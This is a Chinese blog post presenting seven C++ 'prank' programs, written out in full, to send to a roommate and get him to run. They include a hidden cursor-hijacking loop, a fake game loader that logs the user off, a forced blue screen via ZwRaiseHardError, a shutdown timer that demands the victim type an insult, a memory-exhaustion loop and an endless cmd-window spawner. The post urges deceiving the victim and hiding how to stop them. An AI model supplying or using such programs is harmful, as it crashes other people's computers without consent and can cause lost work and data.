c++整治好室友的代码(全网最全)

当你的室友在用电脑时,把以下代码发给他,让他运行。这会极大增加你俩的友情的😁

鼠标乱飞病毒

这个其实只需要按住ctr+c终止程序就可以了(千万别告诉好室友)

#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
void HideWindow() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
int main() {
	HideWindow();
	int x=GetSystemMetrics(SM_CXSCREEN);   
	int y=GetSystemMetrics(SM_CYSCREEN);
	for(;;)
	{
					SetCursorPos(rand()%y,rand()%x);
	}
 
	return 0;
}

鼠标失灵病毒

这个是把鼠标固定到(1,1)这个座标上,用了它只能关机重启了,嘿嘿

#include<windows.h>
#include<conio.h>
#include<time.h>
#include<stdio.h>
using namespace std;
int main(){
	system("title");
	int x,y,jy;
	while(1){
		x=1;
		y=1;
		SetCursorPos(x,y);
	}
	return 0;
} 

系统清理

这个是纯属吓吓室友的,对电脑没有任何伤害

#include<windows.h>
#include<stdlib.h>
#include<iostream>;
using namespace std;
int main()
{
	int n;
	cout<<"开始游戏按1"<<endl;
	cin>>n;
	if(n==1)
	{
		for(int i=0;i<100;i++)
		{
			cout<<"--------------------------------------------"<<endl;
			cout<<"  地图:沙漠2 ------------------------------"<<endl;
			cout<<"  正在加载:"<<i<<'%'<<"-----------------------------"<<endl;
			cout<<"--------------------------------------------"<<endl;
			Sleep(100);
			system("cls");
		}
	}
	cout<<"内存已满,是否清理?(1.是,2.否)(填数字)"<<endl;
	cin>>n;
	if(n==1){
		cout<<"开始清理"<<endl;
		Sleep(5000);
		cout<<"哈哈哈"<<endl;
		system("shutdown -l");
	}
	if(n==2){
		cout<<"内存不够,开始强行清理!"<<endl;
		system("shutdown -l");
	}
	return 0;
}

蓝屏爆弹

这个直接让室友的电脑蓝屏,千万别自己用😂

#include <windows.h>
int main(){
	ShowWindow(GetForegroundWindow(), SW_HIDE);
	HMODULE ntdll=LoadLibrary("ntdll.dll");
	FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
	FARPROC ZwRaiseHardError=GetProcAddress(ntdll,"ZwRaiseHardError");
	unsigned char ErrorKill;
	long unsigned int HardError;
	((void(*)(DWORD,DWORD,bool,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&ErrorKill);
	((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))ZwRaiseHardError)(0xc0114514,0,0,0,6,&HardError);
	return 0;
}

“我是猪”

这个运行了室友只能输入我是猪了,要不然就关机,整蛊室友专用

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
 
int main()
{
    char Alisy[256];
 
flag:
    system("shutdown -s -t 180");
    printf("快说我是猪,不然3分钟关你机!\n");
    scanf("%s",&Alisy);
    if(0==strcmp(Alisy,"我是猪"))
    {
        system("shutdown -a");
    }
    else
    {
        goto flag;
    }
    return 0;
}

死机

这个运行了整个屏幕都卡死了,室友绝对会开心的发出猪叫

#include<stdlib.h>
#include<iostream> 
#include<bits/stdc++.h>
using namespace std; 
int a;
int main(void)
{
	cout<<"你完了"<<endl; 
    while(1){
         malloc(200000);  
    } 
    return 0;
}

无限弹窗

这个不要自己自己轻易尝试,好东西要留给室友🤣

#include<windows.h>
using namespace std;
int main()
{
    system("color F5");
    for(;;) system("start cmd");
    return 0;
}

好了,这期整蛊室友就到这里了,有任何建议放在评论区,我们下期再见

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值